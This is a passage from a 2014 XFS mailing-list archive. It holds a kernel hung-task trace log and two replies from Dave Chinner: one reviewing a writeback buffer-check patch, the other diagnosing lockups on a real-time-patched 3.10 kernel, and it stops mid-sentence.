0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1200.895503] kworker/0:2 D ffff880407f06ce0 0 272 2 0x00000000 [ 1200.895517] Workqueue: xfs-data/sda7 xfs_end_io [xfs] [ 1200.895520] ffff880407f06ce0 0000000000000046 ffffffffffffffff ffff88032dc7baa0 [ 1200.895522] 0000000000062cc0 ffff8804053f3fd8 0000000000062cc0 ffff8804053f3fd8 [ 1200.895524] 0000000000000001 ffff880407f06ce0 ffff88030fb5df80 0000000000000002 [ 1200.895526] Call Trace: [ 1200.895531] [] ? schedule+0x6b/0x7c [ 1200.895534] [] ? __rt_mutex_slowlock+0x7b/0xb4 [ 1200.895537] [] ? rt_mutex_slowlock+0xe5/0x150 [ 1200.895542] [] ? load_TLS+0x7/0xa [ 1200.895552] [] ? xfs_setfilesize+0x48/0x120 [xfs] [ 1200.895555] [] ? finish_task_switch+0x80/0xc6 [ 1200.895565] [] ? xfs_end_io+0x7a/0x8e [xfs] [ 1200.895568] [] ? process_one_work+0x19b/0x2b2 [ 1200.895570] [] ? worker_thread+0x12b/0x1f6 [ 1200.895572] [] ? rescuer_thread+0x28f/0x28f [ 1200.895574] [] ? kthread+0x81/0x89 [ 1200.895576] [] ? __kthread_parkme+0x5c/0x5c [ 1200.895579] [] ? ret_from_fork+0x7c/0xb0 [ 1200.895581] [] ? __kthread_parkme+0x5c/0x5c [ 1200.895617] INFO: task BrowserBlocking:5547 blocked for more than 120 seconds. [ 1200.895628] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1200.895630] BrowserBlocking D ffff88040dc62cc0 0 5547 1 0x00000000 [ 1200.895635] ffff88040497baa0 0000000000000086 0000000000000000 ffffffff81616400 [ 1200.895636] 0000000000062cc0 ffff8803f07bbfd8 0000000000062cc0 ffff8803f07bbfd8 [ 1200.895638] ffff8803f07bb868 ffff88040497baa0 ffff8803f07bb990 ffff8803f07bb988 [ 1200.895641] Call Trace: [ 1200.895645] [] ? console_conditional_schedule+0xf/0xf [ 1200.895648] [] ? schedule+0x6b/0x7c [ 1200.895650] [] ? schedule_timeout+0x2c/0x123 [ 1200.895653] [] ? add_preempt_count+0xb7/0xe0 [ 1200.895654] [] ? migrate_enable+0x1cd/0x1dd [ 1200.895657] [] ? get_parent_ip+0x9/0x1b [ 1200.895659] [] ? add_preempt_count+0xb7/0xe0 [ 1200.895662] [] ? __wait_for_common+0x78/0xd6 [ 1200.895676] [] ? xfs_bmapi_allocate+0x92/0x9e [xfs] [ 1200.895689] [] ? xfs_bmapi_write+0x31f/0x558 [xfs] [ 1200.895691] [] ? kmem_cache_alloc+0x7c/0x17d [ 1200.895705] [] ? __xfs_bmapi_allocate+0x22b/0x22b [xfs] [ 1200.895717] [] ? xfs_iomap_write_allocate+0x1bc/0x2c8 [xfs] [ 1200.895728] [] ? xfs_map_blocks+0x125/0x1f5 [xfs] [ 1200.895739] [] ? xfs_vm_writepage+0x266/0x48f [xfs] [ 1200.895742] [] ? __writepage+0xd/0x2a [ 1200.895744] [] ? write_cache_pages+0x207/0x302 [ 1200.895745] [] ? page_index+0x14/0x14 [ 1200.895749] [] ? pin_current_cpu+0x3e/0x191 [ 1200.895752] [] ? generic_writepages+0x3b/0x57 [ 1200.895755] [] ? __filemap_fdatawrite_range+0x50/0x55 [ 1200.895758] [] ? filemap_write_and_wait_range+0x25/0x59 [ 1200.895769] [] ? xfs_file_fsync+0x78/0x1ad [xfs] [ 1200.895773] [] ? do_fsync+0x2b/0x50 [ 1200.895776] [] ? SyS_fdatasync+0xb/0xf [ 1200.895778] [] ? system_call_fastpath+0x16/0x1b [ 1200.895780] INFO: task BrowserBlocking:5558 blocked for more than 120 seconds. [ 1200.895800] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1200.895801] BrowserBlocking D ffff88040dde2cc0 0 5558 1 0x00000000 [ 1200.895806] ffff8804093ac300 0000000000000086 ffff8803efd94000 ffff88040ad28000 [ 1200.895808] 0000000000062cc0 ffff8803efd95fd8 0000000000062cc0 ffff8803efd95fd8 [ 1200.895809] ffff88041e52efc0 ffff8804093ac300 ffff8804093ac300 ffff8803efd95da0 [ 1200.895812] Call Trace: [ 1200.895816] [] ? __lock_page+0x66/0x66 [ 1200.895819] [] ? schedule+0x6b/0x7c [ 1200.895821] [] ? io_schedule+0x55/0x6b [ 1200.895823] [] ? sleep_on_page+0x6/0xa [ 1200.895826] [] ? __wait_on_bit+0x3e/0x75 [ 1200.895828] [] ? find_get_pages_tag+0xfa/0x125 [ 1200.895830] [] ? wait_on_page_bit+0x6e/0x73 [ 1200.895833] [] ? autoremove_wake_function+0x2a/0x2a [ 1200.895835] [] ? filemap_fdatawait_range+0x66/0xfe [ 1200.895838] [] ? __filemap_fdatawrite_range+0x50/0x55 [ 1200.895841] [] ? filemap_write_and_wait_range+0x3a/0x59 [ 1200.895852] [] ? xfs_file_fsync+0x78/0x1ad [xfs] [ 1200.895855] [] ? do_fsync+0x2b/0x50 [ 1200.895858] [] ? SyS_fdatasync+0xb/0xf [ 1200.895860] [] ? system_call_fastpath+0x16/0x1b [ 1200.895863] INFO: task BrowserBlocking:5575 blocked for more than 120 seconds. [ 1200.895874] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1200.895876] BrowserBlocking D ffff88040dd62cc0 0 5575 1 0x00000000 [ 1200.895881] ffff880408c46480 0000000000000086 ffff8803f064e000 ffff88040accf540 [ 1200.895882] 0000000000062cc0 ffff8803f064ffd8 0000000000062cc0 ffff8803f064ffd8 [ 1200.895884] ffff88041e54dfc0 ffff880408c46480 ffff880408c46480 ffff8803f064fda0 [ 1200.895887] Call Trace: [ 1200.895891] [] ? __lock_page+0x66/0x66 [ 1200.895893] [] ? schedule+0x6b/0x7c [ 1200.895896] [] ? io_schedule+0x55/0x6b [ 1200.895898] [] ? sleep_on_page+0x6/0xa [ 1200.895900] [] ? __wait_on_bit+0x3e/0x75 [ 1200.895902] [] ? find_get_pages_tag+0xfa/0x125 [ 1200.895905] [] ? wait_on_page_bit+0x6e/0x73 [ 1200.895907] [] ? autoremove_wake_function+0x2a/0x2a [ 1200.895909] [] ? filemap_fdatawait_range+0x66/0xfe [ 1200.895912] [] ? __filemap_fdatawrite_range+0x50/0x55 [ 1200.895915] [] ? filemap_write_and_wait_range+0x3a/0x59 [ 1200.895926] [] ? xfs_file_fsync+0x78/0x1ad [xfs] [ 1200.895929] [] ? do_fsync+0x2b/0x50 [ 1200.895932] [] ? SyS_fsync+0x9/0xe [ 1200.895934] [] ? system_call_fastpath+0x16/0x1b [ 1200.895965] INFO: task xterm:6032 blocked for more than 120 seconds. [ 1200.895977] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1200.895979] xterm D ffff88040dc62cc0 0 6032 1 0x00000000 [ 1200.895983] ffff880407ce9920 0000000000000086 ffff8803b8473700 ffffffff81616400 [ 1200.895985] 0000000000062cc0 ffff8803b86affd8 0000000000062cc0 ffff8803b86affd8 [ 1200.895986] ffff8803b86afc48 ffff880407ce9920 ffff8803b86afd50 ffff8803b86afd48 [ 1200.895989] Call Trace: [ 1200.895994] [] ? console_conditional_schedule+0xf/0xf [ 1200.895996] [] ? schedule+0x6b/0x7c [ 1200.895999] [] ? schedule_timeout+0x2c/0x123 [ 1200.896002] [] ? get_parent_ip+0x9/0x1b [ 1200.896004] [] ? add_preempt_count+0xb7/0xe0 [ 1200.896006] [] ? __wait_for_common+0x78/0xd6 [ 1200.896009] [] ? flush_work+0xf6/0x119 [ 1200.896011] [] ? create_and_start_worker+0x5e/0x5e [ 1200.896016] [] ? input_available_p+0x15/0x53 [ 1200.896019] [] ? n_tty_read+0x374/0x78f [ 1200.896022] [] ? try_to_wake_up+0x1ca/0x1ca [ 1200.896024] [] ? tty_read+0x79/0xbd [ 1200.896029] [] ? vfs_read+0x93/0xf5 [ 1200.896032] [] ? SyS_read+0x51/0x80 [ 1200.896035] [] ? system_call_fastpath+0x16/0x1b [ 1200.896046] INFO: task tup:12846 blocked for more than 120 seconds. [ 1200.896058] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1200.896060] tup D ffff88040dc62cc0 0 12846 7061 0x00000000 [ 1200.896064] ffff88032dc7baa0 0000000000000086 ffff8802cc83dde8 ffffffff81616400 [ 1200.896066] 0000000000062cc0 ffff8802cc83dfd8 0000000000062cc0 ffff8802cc83dfd8 [ 1200.896068] ffff8802dd120818 ffff88032dc7baa0 ffff88030fb5df80 0000000000000002 [ 1200.896071] Call Trace: [ 1200.896075] [] ? schedule+0x6b/0x7c [ 1200.896078] [] ? __rt_mutex_slowlock+0x7b/0xb4 [ 1200.896081] [] ? rt_mutex_slowlock+0xe5/0x150 [ 1200.896094] [] ? xfs_vn_update_time+0xa0/0x16f [xfs] [ 1200.896097] [] ? file_update_time+0x95/0xb5 [ 1200.896098] [] ? migrate_enable+0x1cd/0x1dd [ 1200.896109] [] ? xfs_file_aio_write_checks+0xa3/0xc0 [xfs] [ 1200.896120] [] ? xfs_file_buffered_aio_write+0x67/0x175 [xfs] [ 1200.896122] [] ? try_to_wake_up+0x1ca/0x1ca [ 1200.896133] [] ? xfs_file_aio_write+0xbd/0x10f [xfs] [ 1200.896136] [] ? do_sync_write+0x55/0x7c [ 1200.896140] [] ? vfs_write+0x9e/0x104 [ 1200.896143] [] ? SyS_pwrite64+0x61/0x87 [ 1200.896146] [] ? system_call_fastpath+0x16/0x1b [ 1200.896149] INFO: task ld:12961 blocked for more than 120 seconds. [ 1200.896160] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1200.896162] ld D ffff8802d3c4a180 0 12961 1 0x00000004 [ 1200.896166] ffff8802d3c4a180 0000000000000086 ffff8802dd1b7ec0 ffff8802d41fbaa0 [ 1200.896168] 0000000000062cc0 ffff8802d3c9ffd8 0000000000062cc0 ffff8802d3c9ffd8 [ 1200.896169] ffff8802dd1b7ec0 ffff8802d3c4a180 ffff880406cd1000 ffff8802d3c9fb90 [ 1200.896172] Call Trace: [ 1200.896176] [] ? schedule+0x6b/0x7c [ 1200.896180] [] ? __fuse_request_send+0x1fa/0x2d0 [fuse] [ 1200.896183] [] ? abort_exclusive_wait+0x7f/0x7f [ 1200.896187] [] ? fuse_send_write+0x118/0x12b [fuse] [ 1200.896190] [] ? fuse_send_write_pages+0x70/0x10f [fuse] [ 1200.896193] [] ? unpin_current_cpu+0xd/0x51 [ 1200.896198] [] ? fuse_perform_write+0x27a/0x2fd [fuse] [ 1200.896202] [] ? fuse_file_aio_write+0x24e/0x297 [fuse] [ 1200.896205] [] ? do_sync_write+0x55/0x7c [ 1200.896209] [] ? vfs_write+0x9e/0x104 [ 1200.896212] [] ? SyS_write+0x51/0x80 [ 1200.896215] [] ? system_call_fastpath+0x16/0x1b [ 1200.896217] INFO: task ld:12970 blocked for more than 120 seconds. [ 1200.896226] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1200.896228] ld D ffff88040dce2cc0 0 12970 1 0x00000006 [ 1200.896232] ffff8802d3d090c0 0000000000000046 ffff8802dd1b64f8 ffff88040accece0 [ 1200.896234] 0000000000062cc0 ffff880373e47fd8 0000000000062cc0 ffff880373e47fd8 [ 1200.896236] ffff8802dd1b64f8 ffff8802d3d090c0 ffff880406cd1000 ffff880373e47be0 [ 1200.896239] Call Trace: [ 1200.896243] [] ? schedule+0x6b/0x7c [ 1200.896246] [] ? __fuse_request_send+0x1fa/0x2d0 [fuse] [ 1200.896248] [] ? abort_exclusive_wait+0x7f/0x7f [ 1200.896252] [] ? fuse_flush+0xba/0xf6 [fuse] [ 1200.896254] [] ? filp_close+0x37/0x68 [ 1200.896257] [] ? put_files_struct+0x6c/0xc5 [ 1200.896260] [] ? do_exit+0x3d5/0x946 [ 1200.896263] [] ? pin_current_cpu+0x3e/0x191 [ 1200.896265] [] ? do_group_exit+0x77/0xac [ 1200.896268] [] ? get_signal_to_deliver+0x4ff/0x543 [ 1200.896272] [] ? do_signal+0x3c/0x434 [ 1200.896275] [] ? vfs_read+0x93/0xf5 [ 1200.896278] [] ? do_notify_resume+0x52/0x97 [ 1200.896281] [] ? int_signal+0x12/0x17 [ 1320.927310] INFO: task khubd:210 blocked for more than 120 seconds. [ 1320.927335] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1320.927338] khubd D ffff88040dd62cc0 0 210 2 0x00000000 [ 1320.927346] ffff880407a0dc20 0000000000000046 0000000000000000 ffff88040accf540 [ 1320.927348] 0000000000062cc0 ffff880404843fd8 0000000000062cc0 ffff880404843fd8 [ 1320.927350] 0000000000000000 ffff880407a0dc20 ffff880404843a70 ffff880404843a68 [ 1320.927354] Call Trace: [ 1320.927364] [] ? console_conditional_schedule+0xf/0xf [ 1320.927367] [] ? schedule+0x6b/0x7c [ 1320.927370] [] ? schedule_timeout+0x2c/0x123 [ 1320.927374] [] ? _flat_send_IPI_mask+0x68/0x78 [ 1320.927378] [] ? get_parent_ip+0x9/0x1b [ 1320.927381] [] ? add_preempt_count+0xb7/0xe0 [ 1320.927382] [] ? __wait_for_common+0x78/0xd6 [ 1320.927394] [] ? flush_work+0xf6/0x119 [ 1320.927396] [] ? create_and_start_worker+0x5e/0x5e [ 1320.927400] [] ? __pagevec_release+0x20/0x20 [ 1320.927402] [] ? schedule_on_each_cpu+0x9e/0xd5 [ 1320.927422] [] ? invalidate_bdev+0x1d/0x2e [ 1320.927425] [] ? __invalidate_device+0x43/0x4b [ 1320.927427] [] ? invalidate_partition+0x27/0x41 [ 1320.927429] [] ? del_gendisk+0x86/0x1bb [ 1320.927435] [] ? sd_remove+0x5f/0x98 [sd_mod] [ 1320.927443] [] ? __device_release_driver+0x7f/0xd5 [ 1320.927444] [] ? device_release_driver+0x1a/0x25 [ 1320.927446] [] ? bus_remove_device+0xe7/0xfc [ 1320.927448] [] ? device_del+0x120/0x176 [ 1320.927455] [] ? __scsi_remove_device+0x4d/0xaf [scsi_mod] [ 1320.927461] [] ? scsi_forget_host+0x48/0x68 [scsi_mod] [ 1320.927467] [] ? scsi_remove_host+0x85/0x101 [scsi_mod] [ 1320.927472] [] ? usb_stor_disconnect+0x63/0xae [usb_storage] [ 1320.927479] [] ? usb_unbind_interface+0x5e/0x135 [usbcore] [ 1320.927488] [] ? __device_release_driver+0x7f/0xd5 [ 1320.927490] [] ? device_release_driver+0x1a/0x25 [ 1320.927491] [] ? bus_remove_device+0xe7/0xfc [ 1320.927493] [] ? device_del+0x120/0x176 [ 1320.927501] [] ? usb_disable_device+0x6a/0x180 [usbcore] [ 1320.927509] [] ? usb_disconnect+0x79/0x151 [usbcore] [ 1320.927515] [] ? hub_thread+0x60d/0xea2 [usbcore] [ 1320.927518] [] ? abort_exclusive_wait+0x7f/0x7f [ 1320.927524] [] ? hub_port_debounce+0xcf/0xcf [usbcore] [ 1320.927526] [] ? kthread+0x81/0x89 [ 1320.927528] [] ? __kthread_parkme+0x5c/0x5c [ 1320.927530] [] ? ret_from_fork+0x7c/0xb0 [ 1320.927532] [] ? __kthread_parkme+0x5c/0x5c From david@fromorbit.com Wed Mar 5 17:21:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 778917F3F for ; Wed, 5 Mar 2014 17:21:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E6D05AC00B for ; Wed, 5 Mar 2014 15:21:30 -0800 (PST) X-ASG-Debug-ID: 1394061688-04cb6c56772bec00001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 0QaPFi0G17C7emF4 for ; Wed, 05 Mar 2014 15:21:28 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgpYAK+wF1N5LJYePGdsb2JhbABagwaIULN4hVeBFxcDAQEBAR8ZDSiCJQEBAQQnEw0PIxAIAw4HAwklDwUlAwcaE4d4skqcRhcWjjsHhDgEmDyKVYsYKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 06 Mar 2014 09:48:09 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WLL4h-00041R-U0; Thu, 06 Mar 2014 10:18:07 +1100 Date: Thu, 6 Mar 2014 10:18:07 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: xfs_check_page_type buffer checks need help Message-ID: <20140305231807.GJ6851@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: xfs_check_page_type buffer checks need help References: <1393981893-2497-1-git-send-email-david@fromorbit.com> <1393981893-2497-2-git-send-email-david@fromorbit.com> <20140305220819.GC55736@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140305220819.GC55736@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1394061688 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3638 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Mar 05, 2014 at 05:08:20PM -0500, Brian Foster wrote: > On Wed, Mar 05, 2014 at 12:11:32PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > xfs_aops_discard_page() was introduced in the following commit: > > > > xfs: truncate delalloc extents when IO fails in writeback > > > > ... to clean up left over delalloc ranges after I/O failure in > > ->writepage(). generic/224 tests for this scenario and occasionally > > reproduces panics on sub-4k blocksize filesystems. > > > > The cause of this is failure to clean up the delalloc range on a > > page where the first buffer does not match one of the expected > > states of xfs_check_page_type(). If a buffer is not unwritten, > > delayed or dirty&mapped, xfs_check_page_type() stops and > > immediately returns 0. .... > > @@ -777,6 +795,7 @@ xfs_convert_page( > > count++; > > } else { > > done = 1; > > + break; > > } > > } while (offset += len, (bh = bh->b_this_page) != head); > > > > The next couple lines after the loop are: > > if (uptodate && bh == head) > SetPageUptodate(page); > > Now that we can break out of the loop, the "bh == head" part of that > check might not necessarily mean what it used to mean. The uptodate > variable is initialized to 1 and we reset to 0 the moment we encounter a > !uptodate buffer. Do you think it's possible to get here on the first > buffer of the page, without having reset 'uptodate,' and potentially > incorrectly set the page uptodate? Good question :) I don't think this can happen because if the first buffer on the page can't be written, xfs_check_page_type() will return false and we won't get to the loop. By definition, buffer_unwritten() implies buffer_uptodate(), as does buffer_delay() and buffer_dirty(). Hence any of the types that will return acceptible will have the first buffer uptodate. As for the other breaks in the loop - the initial imap_valid check ensures we have a map that covers the entire region of the page that needs writing, and we know that offset < end_offset for the first buffer on the page. Hence none of the loop breaks will trigger on the first buffer, and so the above code should not trigger. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 5 17:36:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 756857F3F for ; Wed, 5 Mar 2014 17:36:48 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 59231304071 for ; Wed, 5 Mar 2014 15:36:48 -0800 (PST) X-ASG-Debug-ID: 1394062605-04cb6c56762bf3e0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id cquXBUW1GHS6LlJy for ; Wed, 05 Mar 2014 15:36:45 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgdYAGK0F1N5LJYePGdsb2JhbABagwaIULN4hVeBGBcDAQEBAR8ZDSiCJQEBAQMBOhwjBQsIAxgJJQ8FJQMHGhOHcQfPDRcWjjsHhDgEmDyVbSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 06 Mar 2014 10:05:53 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WLLLr-00043q-BC; Thu, 06 Mar 2014 10:35:51 +1100 Date: Thu, 6 Mar 2014 10:35:51 +1100 From: Dave Chinner To: Austin Schuh Cc: xfs@oss.sgi.com Subject: Re: XFS crash? Message-ID: <20140305233551.GK6851@dastard> X-ASG-Orig-Subj: Re: XFS crash? References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1394062605 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3638 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Mar 05, 2014 at 03:08:16PM -0800, Austin Schuh wrote: > Howdy, > > I'm running a config_preempt_rt patched version of the 3.10.11 kernel, > and I'm seeing a couple lockups and crashes which I think are related > to XFS. I think they ar emore likely related to RT issues.... > After the first lockup, I booted into single user mode, mounted the > filesystem readonly, and then ran xfs_repair -d. When I rebooted > again, I initiated a large copy to a USB drive (formated EXT3) and > continued editing source files and compiling. After a couple minutes, > my laptop started locking up and after 2 minutes, the following showed > up in the kernel. > > Austin > > $ uname -a > Linux vpc5 3.10-3-rt-amd64 #5 SMP PREEMPT RT Debian 3.10.11-2 > (2013-09-10) x86_64 GNU/Linux > > [ 1186.363397] usb 2-1: USB disconnect, device number 2 > [ 1200.895262] INFO: task kworker/u16:5:250 blocked for more than 120 seconds. > [ 1200.895267] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" > disables this message. > [ 1200.895270] kworker/u16:5 D ffff88040dc62cc0 0 250 2 0x00000000 > [ 1200.895281] Workqueue: writeback bdi_writeback_workfn (flush-8:0) .... > [ 1200.895294] Call Trace: > [ 1200.895301] [] ? console_conditional_schedule+0xf/0xf > [ 1200.895304] [] ? schedule+0x6b/0x7c > [ 1200.895307] [] ? schedule_timeout+0x2c/0x123 > [ 1200.895310] [] ? add_preempt_count+0xb7/0xe0 > [ 1200.895313] [] ? migrate_enable+0x1cd/0x1dd > [ 1200.895317] [] ? get_parent_ip+0x9/0x1b > [ 1200.895319] [] ? add_preempt_count+0xb7/0xe0 > [ 1200.895322] [] ? __wait_for_common+0x78/0xd6 > [ 1200.895356] [] ? xfs_bmapi_allocate+0x92/0x9e [xfs] > [ 1200.895371] [] ? xfs_bmapi_write+0x31f/0x558 [xfs] > [ 1200.895375] [] ? kmem_cache_alloc+0x7c/0x17d > [ 1200.895390] [] ? __xfs_bmapi_allocate+0x22b/0x22b [xfs] > [ 1200.895402] [] ? xfs_iomap_write_allocate+0x1bc/0x2c8 [xfs] > [ 1200.895414] [] ? xfs_map_blocks+0x125/0x1f5 [xfs] > [ 1200.895424] [] ? xfs_vm_writepage+0x266/0x48f [xfs] > [ 1200.895428] [] ? __writepage+0xd/0x2a > [ 1200.895430] [] ? write_cache_pages+0x207/0x302 > [ 1200.895432] [] ? page_index+0x14/0x14 > [ 1200.895435] [] ? generic_writepages+0x3b/0x57 > [ 1200.895438] [] ? __writeback_single_inode+0x72/0x225 > [ 1200.895441] [] ? writeback_sb_inodes+0x215/0x36d > [ 1200.895444] [] ? __writeback_inodes_wb+0x69/0xab > [ 1200.895446] [] ? wb_writeback+0x136/0x2a7 That's waiting for allocation of blocks to complete during writeback of dirty data via background writeback. > [ 1200.895517] Workqueue: xfs-data/sda7 xfs_end_io [xfs] .... > [ 1200.895526] Call Trace: > [ 1200.895531] [] ? schedule+0x6b/0x7c > [ 1200.895534] [] ? __rt_mutex_slowlock+0x7b/0xb4 > [ 1200.895537] [] ? rt_mutex_slowlock+0xe5/0x150 > [ 1200.895542] [] ? load_TLS+0x7/0xa > [ 1200.895552] [] ? xfs_setfilesize+0x48/0x120 [xfs] > [ 1200.895555] [] ? finish_task_switch+0x80/0xc6 > [ 1200.895565] [] ? xfs_end_io+0x7a/0x8e [xfs] > [ 1200.895568] [] ? process_one_work+0x19b/0x2b2 > [ 1200.895570] [] ? worker_thread+0x12b/0x1f6 > [ 1200.895572] [] ? rescuer_thread+0x28f/0x28f > [ 1200.895574] [] ? kthread+0x81/0x89 > [ 1200.895576] [] ? __kthread_parkme+0x5c/0x5c > [ 1200.895579] [] ? ret_from_fork+0x7c/0xb0 > [ 1200.895581] [] ? __kthread_parkme+0x5c/0x5c IO completion waiting on a lock. No idea what lock, because the rt code replaces various different types of locks with "rt_mutexes". > [ 1200.895630] BrowserBlocking D ffff88040dc62cc0 0 5547 1 0x00000000 fsync waiting for allocation completion during data writeback. > [ 1200.895801] BrowserBlocking D ffff88040dde2cc0 0 5558 1 0x00000000 fsync waiting for IO completion of a data page during data writeback. > [ 1200.895876] BrowserBlocking D ffff88040dd62cc0 0 5575 1 0x00000000 ditto. > [ 1200.895979] xterm D ffff88040dc62cc0 0 6032 1 0x00000000 Blocked waiting on a workqueue flush. Completely unrealted to filesystems and IO. > [ 1200.896060] tup D ffff88040dc62cc0 0 12846 7061 0x00000000 Blocked on an inode lock (rt_mutex, again) during timestamp updates on a write(2) syscall. > [ 1200.896162] ld D ffff8802d3c4a180 0 12961 1 0x00000004 FUSE filesystem write blocked ?something? in it's IO path. > [ 1200.896228] ld D ffff88040dce2cc0 0 12970 1 0x00000006 FUSE filesystem write blocked ?something? in it's IO path after recieving a signal in read(2) call. > [ 1320.927338] khubd D ffff88040dd62cc0 0 210 2 0x00000000 This is the smoking gun: > [ 1320.927364] [] ? console_conditional_schedule+0xf/0xf > [ 1320.927367] [] ? schedule+0x6b/0x7c > [ 1320.927370] [] ? schedule_timeout+0x2c/0x123 > [ 1320.927374] [] ? _flat_send_IPI_mask+0x68/0x78 > [ 1320.927378] [] ? get_parent_ip+0x9/0x1b > [ 1320.927381] [] ? add_preempt_count+0xb7/0xe0 > [ 1320.927382] [] ? __wait_for_common+0x78/0xd6 > [ 1320.927394] [] ? flush_work+0xf6/0x119 > [ 1320.927396] [] ? create_and_start_worker+0x5e/0x5e > [ 1320.927400] [] ? __pagevec_release+0x20/0x20 > [ 1320.927402] [] ? schedule_on_each_cpu+0x9e/0xd5 > [ 1320.927422] [] ? invalidate_bdev+0x1d/0x2e > [ 1320.927425] [] ? __invalidate_device+0x43/0x4b > [ 1320.927427] [] ? invalidate_partition+0x27/0x41 > [ 1320.927429] [] ? del_gendisk+0x86/0x1bb > [ 1320.927435] [] ? sd_remove+0x5f/0x98 [sd_mod] > [ 1320.927443] [] ? __device_release_driver+0x7f/0xd5 > [ 1320.927444] [] ? device_release_driver+0x1a/0x25 > [ 1320.927446] [] ? bus_remove_device+0xe7/0xfc > [ 1320.927448] [] ? device_del+0x120/0x176 > [ 1320.927455] [] ? __scsi_remove_device+0x4d/0xaf [scsi_mod] > [ 1320.927461] [] ? scsi_forget_host+0x48/0x68 [scsi_mod] > [ 1320.927467] [] ? scsi_remove_host+0x85/0x101 [scsi_mod] > [ 1320.927472] [] ? usb_stor_disconnect+0x63/0xae > [usb_storage] > [ 1320.927479] [] ? usb_unbind_interface+0x5e/0x135 [usbcore] > [ 1320.927488] [] ? __device_release_driver+0x7f/0xd5 > [ 1320.927490] [] ? device_release_driver+0x1a/0x25 > [ 1320.927491] [] ? bus_remove_device+0xe7/0xfc > [ 1320.927493] [] ? device_del+0x120/0x176 > [ 1320.927501] [] ? usb_disable_device+0x6a/0x180 [usbcore] > [ 1320.927509] [] ? usb_disconnect+0x79/0x151 [usbcore] > [ 1320.927515] [] ? hub_thread+0x60d/0xea2 [usbcore] > [ 1320.927518] [] ? abort_exclusive_wait+0x7f/0x7f > [ 1320.927524] [] ? hub_port_debounce+0xcf/0xcf [usbcore] > [ 1320.927526] [] ? kthread+0x81/0x89 > [ 1320.927528] [] ? __kthread_parkme+0x5c/0x5c > [ 1320.927530] [] ? ret_from_fork+0x7c/0xb0 > [ 1320.927532] [] ? __kthread_parkme+0x5c/0x5c Your usb device has disconnected 